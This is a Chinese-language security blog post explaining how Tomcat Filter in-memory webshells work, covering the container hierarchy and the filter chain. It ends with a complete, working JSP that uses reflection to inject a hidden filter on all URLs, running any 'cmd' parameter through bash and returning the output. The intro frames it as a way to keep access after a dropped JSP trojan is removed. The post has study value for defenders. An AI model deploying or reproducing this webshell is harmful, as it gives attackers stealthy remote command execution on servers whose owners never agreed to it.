浅析Tomcat Filter内存马原理

浅析Tomcat Filter内存马原理

Posted by SEVENTEEN on March 15, 2022

前言

   内存马作为内网入口点在实战中的意义非常大,之前实战中一般使用内存马作为jsp木马被删之后的保险之一, 这次来学习一下内存马的原理。

Tomcat架构

   大概的一个层次结构是Engine、Host、Context、Wrapper。

1. Engine: 最顶层容器组件,其下可以包含多个Host,即可以包含一个或多个虚拟主机。它可以根据默认的Host来判断该由哪个虚拟主机处理。

2. Host: 一个Host代表一个虚拟主机。当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。

3. Context: 一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

4. Wrapper: 一个 Wrapper代表一个Servlet,负责管理一个Servlet的动作。因为是最底层容器,所以不能进行addChild。

从Tomcat的web目录来看,Webapps对应的就是Host组件,而examples和ROOT代表的是Context。

Filter与Servlet

   Filter功能是在Servlet之前先接受请求对请求做一些检查以及处理,做一些处理后再交给下一个过滤器或servlet处理, 而先调用哪个Filter由Filter在web.xml文件中的注册顺序决定,这些Filter形成了一个链式过滤。Servlet在接收到请求后,根据代码逻辑进行控制返回的页面。

   Servlet实例在服务器启动时就会被加载,之后调用init()方法进行初始化。 而接收请求的过程都只调用doGet()或者doPost()方法,在停止服务器时调用destroy()方法摧毁实例。

   Filter也是在启动时加载其实例,调用init()来完成初始化。 接受请求时只调用doFilter()方法来处理,在停止服务器时调用destroy()方法摧毁实例。

   所以要想实现内存马,可以在Filter链前动态注册一个Filter,优先处理对应路由与执行命令有关的请求。

Tomcat Filter拦截过程

   url请求的总体过程是:

1. 根据请求的URL从FilterMaps中找出与之URL对应的Filter名称。

(在FilterMap中主要存放了FilterName和对应的URLPattern,也就是待拦截的url)

2. 根据步骤1中获取的Filter名称去FilterConfigs中寻找对应名称的FilterConfig。

(FilterConfigs存放filterConfig的数组,而FilterConfig中存放FilterDef和Filter对象等信息)

3. 找到对应的FilterConfig之后添加到FilterChain中,并且返回FilterChain。

(使用doFilter方法能依次调用链上的Filter)

4. filterChain中调用internalDoFilter遍历获取chain中的FilterConfig,然后从FilterConfig中获取Filter, 然后调用Filter的doFilter方法。

Tomcat添加Filter内存马过程

1. 获取standardContext上下文

2. 创建恶意的Filter

3. 使用filterDef封装Filter对象,将filterDef添加到filterDefs

(FilterDefs中存放FilterDef,FilterDef中存储着过滤器名和过滤器实例,作用的url等信息)

4. 创建filterMap,将URL和filter进行绑定,添加到filterMaps中

5. 使用ApplicationFilterConfig封装filterDef对象,添加到filterConfigs中

Tomcat利用jsp直接注入Filter内存马

   这种内存马针对上传jsp直接注入(request和response是jsp的内置对象)的情况, 但在反序列化直接打内存马的时候不一定能直接拿到ServletContext(ServletContext实现其实是ApplicationContext), 需要先去获取request,并且为了让命令执行能够有回显,还需要拿到response。

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "exp";

    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    // 判断是否存在Filter名称,没有的话创建恶意的filter
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {
            }
        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());

        // 将filterDef添加到filterDefs中
        standardContext.addFilterDef(filterDef);

        // 绑定url
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        System.out.print("Inject Success !");
    }
%>

There Is Nothing Below

   

Turn at the next intersection.